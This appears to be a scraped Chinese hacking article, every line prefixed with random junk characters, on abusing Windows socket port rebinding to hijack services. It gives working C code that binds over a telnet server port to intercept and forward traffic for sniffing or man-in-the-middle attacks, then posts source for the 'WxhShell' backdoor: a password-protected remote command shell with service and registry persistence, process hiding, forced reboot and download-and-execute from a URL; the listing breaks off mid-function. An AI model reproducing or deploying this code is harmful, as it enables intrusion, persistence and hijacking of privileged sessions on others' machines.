在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
]$iqa"{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
#1nJ(-D+ [:EvTY saddr.sin_family = AF_INET;
]ZoPQUS? $)~ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ef"?|sn Dt}rR[yJ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_=XX~^I, 6dqsFns}e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
cntco@ H*I4xT@ 这意味着什么?意味着可以进行如下的攻击:
G;iEo4\? y'C-[nk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Tny>D0Z# Z}6^ve 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hVpCB, T D@v9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:$3oFN*g WgQBGch,! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
rSXzBi{ (8a#\Y[b 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
pbXi9|bI aptY6lGv-| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
tOl e>] u{H?4|'( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
!
NV#U *?p|F&J #include
z_|oCT!6 #include
5z$,6T #include
i'/m4 !>h #include
2h=%K/hhY DWORD WINAPI ClientThread(LPVOID lpParam);
y(jg#7) int main()
`TLzVB-j3 {
{tP%epQ WORD wVersionRequested;
B2=\2< DWORD ret;
o2H1N~e#c WSADATA wsaData;
WN]<q`. BOOL val;
'I}:!Z SOCKADDR_IN saddr;
QCOo SOCKADDR_IN scaddr;
.^(/n9|o- int err;
+C]&2zc. SOCKET s;
j{++6<tr SOCKET sc;
?X$,fQ#F| int caddsize;
giY80!GX HANDLE mt;
3INI?y}t DWORD tid;
xl9aV\W wVersionRequested = MAKEWORD( 2, 2 );
K,ej%Vtz err = WSAStartup( wVersionRequested, &wsaData );
sy* y\5yJ if ( err != 0 ) {
\K2*Q&> printf("error!WSAStartup failed!\n");
$^/0<i$ return -1;
<i\A_qqc/ }
C@\{ehG saddr.sin_family = AF_INET;
knp>m,w cR7wx 0Aj //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~:4kU/] -NGK@Yk22 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
N3BL3:@O saddr.sin_port = htons(23);
8,T4lb<< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
IIFMYl gF {
Y,S\2or$ printf("error!socket failed!\n");
ZfAzc6J?\ return -1;
6]cryf&b }
U%<rn(xWXD val = TRUE;
}j 5 a[L //SO_REUSEADDR选项就是可以实现端口重绑定的
t0&@h\K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
SuBeNA[& {
IXLO>>` printf("error!setsockopt failed!\n");
+FG$x/\*0 return -1;
C]u',9, }
6rti ' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
E\7m<'R //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
K+\nC)oG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
AEirj / "d/s5sP|S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'_s}o< {
{Bvj"mL]j ret=GetLastError();
F?+3%>/A@ printf("error!bind failed!\n");
{BBw$m, o return -1;
RrrK*Fk8= }
unl1*4e+ listen(s,2);
K]oM8H1 while(1)
^y.nDs%ZT7 {
q-$`k caddsize = sizeof(scaddr);
rt-\g1x //接受连接请求
&$FvWFRh# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
nv0@xnbz if(sc!=INVALID_SOCKET)
q(o/yx{bm {
5FKBv
e@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
JNI>VP[c if(mt==NULL)
?WI3/>:< {
I_)*)d44_ printf("Thread Creat Failed!\n");
fN%jJ-[d break;
>u+q1j. }
ZM#=`k9 }
_mE^rT CloseHandle(mt);
P@}P k }
0*%&> closesocket(s);
Et2JxbD WSACleanup();
kT IYD o return 0;
+%>:0mT }
n^(A=G DWORD WINAPI ClientThread(LPVOID lpParam)
km5~Gc} {
qNgd33u1 SOCKET ss = (SOCKET)lpParam;
is;XmF*5= SOCKET sc;
O>y'Nqz unsigned char buf[4096];
Wl"0m1G SOCKADDR_IN saddr;
u+9<&)X0 long num;
bUy,5gk- DWORD val;
K/_9f'^ DWORD ret;
v5ur&egVs //如果是隐藏端口应用的话,可以在此处加一些判断
[]W;t\h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
l3o#@sz: saddr.sin_family = AF_INET;
u0)7i.!M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
p0p4Xh1e saddr.sin_port = htons(23);
'XOX@UH d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
e;YW6}'} {
mABe'"8 printf("error!socket failed!\n");
_W!p8cB return -1;
'(+<UpG_Q} }
8y'; \(; val = 100;
v`[Eb27W. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N^0uit {
i8X`HbmN ret = GetLastError();
;Q0bT`/X return -1;
{i~8 : }
9%)=`W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O09ke-lC {
,1{Ep` ret = GetLastError();
hqSJ(gs{ return -1;
!/{+WHxIr| }
Oc?+M 5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&p
UZDjo? {
R>@uY(>dJ printf("error!socket connect failed!\n");
Vn=qV3OE] closesocket(sc);
KLQTKMNv closesocket(ss);
B@v\eF; return -1;
,3DXFV'uxb }
Fig&&b a while(1)
`D5HC {
I3S9Us-\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?NNn:t iD //如果是嗅探内容的话,可以再此处进行内容分析和记录
~3h-j K? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
pY8q=Kl num = recv(ss,buf,4096,0);
KGHq rc if(num>0)
ZUXr!v/R:1 send(sc,buf,num,0);
#%3rTU else if(num==0)
W1aa:hEf break;
C.MoKa3 num = recv(sc,buf,4096,0);
C&\5'[* if(num>0)
>XW*T5aUA send(ss,buf,num,0);
$K~LM8_CKy else if(num==0)
oT95^y\9 break;
E N^Uki` }
m(OvD! closesocket(ss);
r} _c closesocket(sc);
'Yy&G\S return 0 ;
!|?e7u7 }
G28O%jD? 5x2Ay=s ~q +[<xR\ ==========================================================
*v%rMU7, L *[K>iW 下边附上一个代码,,WXhSHELL
wRNroQ =dP{ Gh ==========================================================
$WQq?1.9 TB6m0qX( #include "stdafx.h"
>"3>s% #Sg\q8(O #include <stdio.h>
L?&'xzt B #include <string.h>
ni&*E~a
#include <windows.h>
6X
g]/FD #include <winsock2.h>
}*U[>Z-eO #include <winsvc.h>
2Nc>6 #include <urlmon.h>
@{
;XZb^ :B*}^g #pragma comment (lib, "Ws2_32.lib")
uUR~&8ERX #pragma comment (lib, "urlmon.lib")
M<?Q4a'Q 2h30\/xkU #define MAX_USER 100 // 最大客户端连接数
?`?T7w|3
y #define BUF_SOCK 200 // sock buffer
JMBK{J K> #define KEY_BUFF 255 // 输入 buffer
5wt TP ;P ']6VB,c` #define REBOOT 0 // 重启
JHn*->m #define SHUTDOWN 1 // 关机
}]P4-KqI >"X\>M`" #define DEF_PORT 5000 // 监听端口
s'P( ,!f bJr[I #define REG_LEN 16 // 注册表键长度
ug 7o>PX #define SVC_LEN 80 // NT服务名长度
XdEPbD- Vsq8H}K // 从dll定义API
DmqX"x%P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=V+I=rqo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<g8K})P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
(AY9oei> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"L"150Ih {43yb_B( // wxhshell配置信息
BF|(!8S$U struct WSCFG {
u9-nt}hGYM int ws_port; // 监听端口
6&v?)o char ws_passstr[REG_LEN]; // 口令
}`_@'4:t int ws_autoins; // 安装标记, 1=yes 0=no
0O!cN_l| char ws_regname[REG_LEN]; // 注册表键名
[^H"FA[ char ws_svcname[REG_LEN]; // 服务名
w&&2H8 char ws_svcdisp[SVC_LEN]; // 服务显示名
'$|UwT`s char ws_svcdesc[SVC_LEN]; // 服务描述信息
~o3Hdd_#}N char ws_passmsg[SVC_LEN]; // 密码输入提示信息
C}g9'jY int ws_downexe; // 下载执行标记, 1=yes 0=no
XdgUqQb} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Hq &"+1F char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\~rlgxd Z~G my7h( };
PnT)LqEF 6Q|k7*,B // default Wxhshell configuration
$*[{J+t_ struct WSCFG wscfg={DEF_PORT,
dBCbL.! "xuhuanlingzhe",
\@a$' 1,
Rxpn~QQ "Wxhshell",
>P KBo "Wxhshell",
Weoj|0|t "WxhShell Service",
Zzua17
"Wrsky Windows CmdShell Service",
&6 -k#r "Please Input Your Password: ",
4tA_YIv
1,
!SOrCMHx "
http://www.wrsky.com/wxhshell.exe",
eZhPu'id\s "Wxhshell.exe"
dP$GThGl };
M
s9E@E oj.A,Fh // 消息定义模块
x90*yaw>h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
:)f7A7 :; char *msg_ws_prompt="\n\r? for help\n\r#>";
pfuW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Lr;(xw\[' char *msg_ws_ext="\n\rExit.";
b}ODWdJ1 char *msg_ws_end="\n\rQuit.";
Lju7,/UD char *msg_ws_boot="\n\rReboot...";
UQCo}vM char *msg_ws_poff="\n\rShutdown...";
k?nQ?B
W char *msg_ws_down="\n\rSave to ";
n7aU<`U pI+!92Z char *msg_ws_err="\n\rErr!";
10Wz,vW,n char *msg_ws_ok="\n\rOK!";
]T!
}XXK #1'\.v char ExeFile[MAX_PATH];
a[bBT@f int nUser = 0;
CLD-mx|? HANDLE handles[MAX_USER];
$V>98M>j int OsIsNt;
!H][LXB~H ^^` Jcd/ SERVICE_STATUS serviceStatus;
F7m?xy SERVICE_STATUS_HANDLE hServiceStatusHandle;
ge3sU5iZ $>M<j // 函数声明
f}c\_}( int Install(void);
txql 2 int Uninstall(void);
=`n]/L"Q int DownloadFile(char *sURL, SOCKET wsh);
mwv(j_ int Boot(int flag);
}S-DB#6 void HideProc(void);
0X2@CPIFf int GetOsVer(void);
ij5g^{_T;8 int Wxhshell(SOCKET wsl);
8$N8}q% void TalkWithClient(void *cs);
NMO-u3<6. int CmdShell(SOCKET sock);
tL
SN`6[: int StartFromService(void);
xZ5M/YSyG int StartWxhshell(LPSTR lpCmdLine);
wle@vCmr 3q[WHwmm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
T70QJ=, VOID WINAPI NTServiceHandler( DWORD fdwControl );
k#TYKft %WG9 dYdS // 数据结构和表定义
31+;]W=
SERVICE_TABLE_ENTRY DispatchTable[] =
aMARZ)V {
v;#=e$%}MO {wscfg.ws_svcname, NTServiceMain},
W)j|rz. {NULL, NULL}
?eV(1Fr@ };
.V9e=yW!* [//R ~i? // 自我安装
V+-$jOh int Install(void)
<|O^>s; {
uNbH\qd= char svExeFile[MAX_PATH];
gQSNU_o Z HKEY key;
v}G]X Z8 strcpy(svExeFile,ExeFile);
z7.|fE)<6 _?7#MWe& // 如果是win9x系统,修改注册表设为自启动
C9n}6Er=, if(!OsIsNt) {
7DW]JK l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lor8@Qz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3LR p2(A RegCloseKey(key);
;Lw{XqT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M_0zC1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1xNVdI RegCloseKey(key);
SQsSa1 return 0;
WzW-pV] }
D*5hrkV9 }
39U5jj7i }
+eQe%U else {
$m1<i?'m YIt9M,5/Q // 如果是NT以上系统,安装为系统服务
Y /TlE? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
5lKJll^2: if (schSCManager!=0)
iVtl72O {
MJ<Jb ,D1 SC_HANDLE schService = CreateService
{cK^,?x (
}y%`)lz~ ; schSCManager,
:H6FPV78 wscfg.ws_svcname,
+1C3`0( wscfg.ws_svcdisp,
wyx(FinIH SERVICE_ALL_ACCESS,
"Y`3DxXz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
T[k4lM SERVICE_AUTO_START,
C;AA/4Ib SERVICE_ERROR_NORMAL,
y #f
QPR svExeFile,
:_<_[Y]1 NULL,
ukgAI<O% NULL,
pi( -A NULL,
D8{D[fJ; NULL,
zxb/ NULL
n>,L=wV );
;:S&F if (schService!=0)
[@<sFP;g {
>$67 7 CloseServiceHandle(schService);
>t,M CloseServiceHandle(schSCManager);
>!e<}84b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c97{Pu strcat(svExeFile,wscfg.ws_svcname);
uaw~r2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
o!TQk{0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
dCYCHHHF RegCloseKey(key);
Zt
-1h{7 return 0;
+ Y.1)i} }
h[KvhbD3 }
7T``-:`[ CloseServiceHandle(schSCManager);
cxeghy:;U }
D'<VYl"/ }
zo{/'BnU vgIpj3u return 1;
%z]U LEYrZ }
*YTo{~ +.B<Hd // 自我卸载
t9gfU5? int Uninstall(void)
:pX`?Ew`g {
_i_Q?w` HKEY key;
C-eA8pYY/ -Ue$T{;RoH if(!OsIsNt) {
\mM<\-'p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uhH^>z
KA RegDeleteValue(key,wscfg.ws_regname);
Zd^6ulx RegCloseKey(key);
\ b
V6@#, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yfQ5:X RegDeleteValue(key,wscfg.ws_regname);
z@|dzvjl
Q RegCloseKey(key);
A$0H
.F> return 0;
j!~l,::$"X }
Kyt)2p }
&K_)#v`| }
Tl]e%A`| else {
$yDWu"R8 vgt]:$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
M4LP$N if (schSCManager!=0)
:,;K>l^U {
w1x"
c>1C SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'k;4 j|< if (schService!=0)
B0$:b! {
_CBWb if(DeleteService(schService)!=0) {
`=+^|Y} CloseServiceHandle(schService);
]=rht9)," CloseServiceHandle(schSCManager);
s..lK
"b return 0;
7`vEe'qz }
O-]mebTvw CloseServiceHandle(schService);
qs\2Z@; }
9Gy CloseServiceHandle(schSCManager);
_cTh#t ^ }
:Eh\NOc_O }
vE6mOM!_L ~0$NJrUy return 1;
-\ZcOXpMx= }
C`=p+2I] r;9 r!$d // 从指定url下载文件
7*Qk`*Ii int DownloadFile(char *sURL, SOCKET wsh)
.LVQx {
Ng><n} HRESULT hr;
h2z_,`iS7 char seps[]= "/";
n8=5-7UT char *token;
kh~'Cn "O char *file;
Xdi:1wW@p char myURL[MAX_PATH];
^L1L=c;, char myFILE[MAX_PATH];
D.D$#O_n.S WH ?}~u9 strcpy(myURL,sURL);
\y6OUM2y token=strtok(myURL,seps);
,y4I[[ while(token!=NULL)
#Lsnr.80 {
O1%pxX'`S file=token;
!Bz0^1,L token=strtok(NULL,seps);
U<"WK"SM }
gK#mPcn^ EcIE~qs GetCurrentDirectory(MAX_PATH,myFILE);
t$2_xX strcat(myFILE, "\\");
rn DCqv!'P strcat(myFILE, file);
HCK|~k send(wsh,myFILE,strlen(myFILE),0);
n%h^o send(wsh,"...",3,0);
c,so`I3rI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(npj_s!.C) if(hr==S_OK)
5tJ,7Y' return 0;
kP#e((f, else
R(.}C)q3 return 1;
+[\eFj|= ,h|q i[7 }
f~E*Zz`; (>J4^``x= // 系统电源模块
$VAx:Y| int Boot(int flag)
jR=s#Xz {
>56>*BHD HANDLE hToken;
x@mL $ TOKEN_PRIVILEGES tkp;
f)]%.> AV 8n( if(OsIsNt) {
_'4A|-9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
NmK8<9`u LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
wB'zuPAK6 tkp.PrivilegeCount = 1;
6nhMP$h tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
U$oduY# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\
w3]5gJZ if(flag==REBOOT) {
%B.D^]S1: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
nEzf.[+9/ return 0;
80A.<=(=. }
[ dtbkQt,c else {
=to=8H- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
!=;XBd- return 0;
aA7=q= }
W\1i,ew> }
f%5zBYCgC else {
XC{eX&,2x if(flag==REBOOT) {
\~P=U;l=pO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Lb LiB*D#s return 0;
MO;X>D = }
e1//4H::t else {
A!1;}x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
|t$Ma'P return 0;
oYWR')8g }
0G!]= }
9rh}1eo7 hdTzCfeZ5@ return 1;
>-&R47G }
E.1J2Ne MX@IHc // win9x进程隐藏模块
>#ZUfm{k$ void HideProc(void)
TAjh"JJIV {
h|X^dQb] $ d?.2Kg HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;?C#IU if ( hKernel != NULL )
KfF!{g f {
>u9Nz0?j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
tabT0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
P%K4[c W~ FreeLibrary(hKernel);
Wg`R_>qQSm }
oyo(1> [qsEUc+Z.' return;
o\vBOp?hj }
\EseGgd21 ETs>`#`6o // 获取操作系统版本
RK w$- 7O int GetOsVer(void)
UGK*G y {
%`Z!4L OSVERSIONINFO winfo;
NnVnUgx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(sWLhUgRX GetVersionEx(&winfo);
phO;c;y} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E*i#?u return 1;
_X?^Cy else
ctcS:<r/3@ return 0;
e<r,&U$ }
F;^F+H e%W$*f // 客户端句柄模块
yCCrK@{oo int Wxhshell(SOCKET wsl)
K98i[,rP {
36US5ef SOCKET wsh;
^n0]dizB struct sockaddr_in client;
/dnCwFXf DWORD myID;
NHlk|Y#6b uslQ*7S[^ while(nUser<MAX_USER)
+}jJ&Z9) {
XrZ*1V int nSize=sizeof(client);
1?Z4K/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;;&}5jcV if(wsh==INVALID_SOCKET) return 1;
-W>'^1cR F-6c_! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\TU3rk&X if(handles[nUser]==0)
y(K"
-? closesocket(wsh);
~i 7^P9 else
K_&4D' nUser++;
QY= = GfHt }
Y3Q9=u*5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4j)tfhwd8 aMTu-hA return 0;
qx%}knB }
\6\<~UX^ qP<Lr)nUH // 关闭 socket
v0L\0&+ void CloseIt(SOCKET wsh)
&c1A*Pl/:G {
dO%W+K closesocket(wsh);
7 [0L9\xm nUser--;
sJNFFOz ExitThread(0);
rx}r~0i }
GgKEP,O )p*}e8L // 客户端请求句柄
.1LCXW= void TalkWithClient(void *cs)
$8BPlqBIZ {
i~r l o^ r7qh>JrO SOCKET wsh=(SOCKET)cs;
3do)Vg4
char pwd[SVC_LEN];
|fo0 char cmd[KEY_BUFF];
5eWwgA char chr[1];
}l=xiAF int i,j;
T1H"\+ fDSv?crv while (nUser < MAX_USER) {
0]4(:(B bJD;>"* if(wscfg.ws_passstr) {
6^DR0sO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8U_{|]M
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i&n'N8D@ //ZeroMemory(pwd,KEY_BUFF);
jmeRrnC} i=0;
cv`~y'?D while(i<SVC_LEN) {
c%qv9 C`q@X(_ // 设置超时
,cqF3 fd_set FdRead;
Q$fmD struct timeval TimeOut;
A@Dw<.&_I FD_ZERO(&FdRead);
sq'Pyz[[ FD_SET(wsh,&FdRead);
YID4w7| TimeOut.tv_sec=8;
c_>f0i TimeOut.tv_usec=0;
?R$&Xe!5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
#^]n0! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mml
z&h x,'!eCKN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
z<5m
fAm pwd
=chr[0]; =Qn ;_+Ct
if(chr[0]==0xd || chr[0]==0xa) { $.bBFWk
pwd=0; 9H%X2#:fH
break; h;0S%ZC
} /soKucN"h
i++; +$Rt+S BD
} )(@Hd
7hcNf,
// 如果是非法用户,关闭 socket e#k<d-sf6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dh $bfAb
} h?pkE
3g6j?yYqb
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ()H:Uv M=t
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Km^&<3ch#
,\@O(;
mF
while(1) { c;'[W60
h5K$mA5
ZeroMemory(cmd,KEY_BUFF); Y5j]Z^^v
xL" |)A =
// 自动支持客户端 telnet标准 I&YSQK:b
j=0; :GJ &_YHf
while(j<KEY_BUFF) { F,'exuZ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b3VS\[p
cmd[j]=chr[0]; -!
K-Htb-
if(chr[0]==0xa || chr[0]==0xd) { Cn[0(s6
cmd[j]=0; 7>~5jYP
break; nak Yn
} !e?.6% %
j++; R,Vd.-5M
} c?@T1h4
OiP!vn}k
// 下载文件 n-@j5w+k4
if(strstr(cmd,"http://")) { -xP!"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4f;HQ-Iv
if(DownloadFile(cmd,wsh)) NhYLtw^u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q6r7.pk"SU
else pn^ d]rou?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rX1QMR7?
} nt@aYXK4|
else { T|TO }_x
S)/_muP
switch(cmd[0]) { to$h2#i_
a.zpp'cEb
// 帮助 \~_9G{2?
case '?': { f@c`8L@g
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~b2wBs)r
break; ,zT y?OQ
} (zFi$
// 安装 k Zq!&
case 'i': { +) m_o"hl
if(Install()) Pp5^@A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lO_UPC\@fw
else %p0xM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {qa Aq%'
break; @#-q^}3
} C;vtY[}<
// 卸载 Vkc#7W(
case 'r': { w/ K_B:s
if(Uninstall()) HC}YY2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Roc|)-47
else Kp,M"Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _zwUE
break; 'uxX5k/D@t
} s]JF0584
// 显示 wxhshell 所在路径 _> *jH'
case 'p': { L;f!.FX#
char svExeFile[MAX_PATH]; E\4 +_L_j
strcpy(svExeFile,"\n\r"); = MOj|NR [
strcat(svExeFile,ExeFile); &HY+n)
o
send(wsh,svExeFile,strlen(svExeFile),0); E2{FK)qT
break;
({=gw9f
} ;/rXQe1
// 重启 I}vmU^Y>
case 'b': { 9,r rQQD_
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qm8&*UuKJ
if(Boot(REBOOT)) }x
wu*Zx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B[4KX
else { S9",d~EM
closesocket(wsh); 8zR~d%pK
ExitThread(0); k'5?M
} ksN+?E4w
break; }I2@%tt?
} WpRc)g:
// 关机 PuZf/um
case 'd': { 6<ZkJ:=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o$Z6zm xO
if(Boot(SHUTDOWN)) b^$|Nz;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DY?Kfvef
else { |Xk4&sDrK
closesocket(wsh); Z7?~S2{c
ExitThread(0); '`uwJ&@
} y)@[Sl>
break; :65~[$2
} os]8BScx
// 获取shell <"r#:Wr
case 's': { f|tjsZxQ
CmdShell(wsh); 9BuSN*4
closesocket(wsh); /Dj=iBO
ExitThread(0); 8!Ww J
Oe
break; u[
Yk
} '5|h)Q5
// 退出 |]X
case 'x': { k<\$OoOZ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &E=>Hj(dTG
CloseIt(wsh); UaB @
break; 0ok-IHE<
} vTx2E6
// 离开 ikSt"}/hd
case 'q': { -xA2pYz"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T]=r Co
closesocket(wsh); +lMX{es\O
WSACleanup(); Y1J=3Y
exit(1); 3S}Pm2D2
break; DS[#|
} +P`*kj-P\
} Kiu_JzD
} L|}lccpI
\hEN4V[
// 提示信息 o_^?n[4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `I,,C,{C
} n*{sTT
} <t
\H^H!
N#a$t&
return; DRi<6Ob
} `,(,tn_
ZGKu>yM
// shell模块句柄 uW}s)j.
int CmdShell(SOCKET sock) !*%WuyCgr4
{ ZP\-T*)l$
STARTUPINFO si; mh{1*T$fP
ZeroMemory(&si,sizeof(si)); -K3^BZHI
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^>hW y D
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lUvpszH=
PROCESS_INFORMATION ProcessInfo; )j0TeE1R
char cmdline[]="cmd"; In<n&ib
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m~-K[+ya`D
return 0; m1Mt#@,$
} 1R1z
n' q4
// 自身启动模式 ]X ?7ZI^
int StartFromService(void) GfmI<{da
{ ei[j1F
typedef struct /*X2c6<d
{ I
,z3xU
DWORD ExitStatus;
`yH<E+
DWORD PebBaseAddress; tAv@R&W,
DWORD AffinityMask; e(GP^oK
DWORD BasePriority; mSb#Nn6W
